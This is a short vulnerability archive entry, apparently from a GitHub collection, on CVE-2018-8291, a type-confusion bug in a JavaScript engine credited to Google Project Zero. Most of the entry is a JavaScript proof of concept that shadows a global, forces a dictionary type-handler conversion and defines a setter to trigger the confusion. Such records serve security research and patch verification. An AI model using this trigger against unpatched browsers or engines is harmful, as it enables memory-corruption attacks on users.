Skip to content

Latest commit

 

History

History
29 lines (20 loc) · 667 Bytes

CVE-2018-8291.md

File metadata and controls

29 lines (20 loc) · 667 Bytes

CVE-2018-8291

  • Fix: Aug 2018
  • Credit: lokihardt of Google Project Zero

PoC

let x = 1;

this.x = 0x1234;  // IsShadowed

// Convert to BigDictionaryTypeHandler, CopyFrom will be used in the process.
for (let i = 0; i < 0x10000; i++) {
    this['a' + i] = 1;
}

// Set IsAccessor
this.__defineSetter__('x', () => {});

// Type confusion
this.x;

Reference